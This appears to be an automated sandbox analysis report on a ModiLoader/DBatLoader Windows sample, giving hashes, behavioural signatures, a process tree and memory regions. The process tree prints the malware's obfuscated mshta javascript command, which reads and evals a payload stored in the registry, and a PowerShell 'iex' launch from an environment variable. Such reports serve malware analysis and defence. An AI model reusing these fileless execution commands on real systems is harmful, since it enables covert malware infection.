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Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/06/2024, 15:21

General

  • Target

    b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

  • Size

    277KB

  • MD5

    b434689b1cbd3ec1badc2d6894ba03ba

  • SHA1

    86e44f8c1e98ab44b1173820a2cc6210b294fb18

  • SHA256

    0d4df276ac210da10aa6ad75e8b130cbda829e76ce314cc48764d59f5d9d766f

  • SHA512

    70f282c7810d53e5527c8aebcb43f95c33846dc0445507cae025680bcb17bf501448a8fe08cd195e855b94aaf1ce4c40a4a9b10cd9d9ebd2aaf52caaf596d575

  • SSDEEP

    6144:foD01eZ2oAUx2NMTZq72SViOYSjagtYSTqOvSV:f4Go3SMT02wvYS5pqV

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"
      2⤵
        PID:1920
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:bFvAqBzK5="OPE6arZ";E24S=new%20ActiveXObject("WScript.Shell");kv7Ew4mFR="IzfkiQ";m4Ny4b=E24S.RegRead("HKLM\\software\\Wow6432Node\\y8zuWK\\hsGVunyjUT");MyTKpa63="hgAms";eval(m4Ny4b);oQPiK11Cr="uLmfI";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4728
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:afdkm
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1388

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mxefihq.ek4.psm1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1388-17-0x0000000004980000-0x00000000049B6000-memory.dmp

      Filesize

      216KB

    • memory/1388-20-0x00000000057A0000-0x0000000005806000-memory.dmp

      Filesize

      408KB

    • memory/1388-35-0x0000000006E10000-0x0000000006E2A000-memory.dmp

      Filesize

      104KB

    • memory/1388-34-0x0000000007460000-0x0000000007ADA000-memory.dmp

      Filesize

      6.5MB

    • memory/1388-33-0x0000000005D80000-0x0000000005DCC000-memory.dmp

      Filesize

      304KB

    • memory/1388-32-0x0000000005D40000-0x0000000005D5E000-memory.dmp

      Filesize

      120KB

    • memory/1388-31-0x0000000005880000-0x0000000005BD4000-memory.dmp

      Filesize

      3.3MB

    • memory/1388-21-0x0000000005810000-0x0000000005876000-memory.dmp

      Filesize

      408KB

    • memory/1388-18-0x0000000005170000-0x0000000005798000-memory.dmp

      Filesize

      6.2MB

    • memory/1388-19-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

      Filesize

      136KB

    • memory/1920-11-0x00000000009D0000-0x0000000000AA4000-memory.dmp

      Filesize

      848KB

    • memory/1920-8-0x0000000000400000-0x0000000000439000-memory.dmp

      Filesize

      228KB

    • memory/1920-3-0x0000000000400000-0x0000000000439000-memory.dmp

      Filesize

      228KB

    • memory/1920-14-0x00000000009D0000-0x0000000000AA4000-memory.dmp

      Filesize

      848KB

    • memory/1920-7-0x0000000000400000-0x0000000000439000-memory.dmp

      Filesize

      228KB

    • memory/1920-10-0x00000000009D0000-0x0000000000AA4000-memory.dmp

      Filesize

      848KB

    • memory/1920-15-0x00000000009D0000-0x0000000000AA4000-memory.dmp

      Filesize

      848KB

    • memory/1920-12-0x00000000009D0000-0x0000000000AA4000-memory.dmp

      Filesize

      848KB

    • memory/1920-13-0x00000000009D0000-0x0000000000AA4000-memory.dmp

      Filesize

      848KB

    • memory/1920-9-0x00000000009D0000-0x0000000000AA4000-memory.dmp

      Filesize

      848KB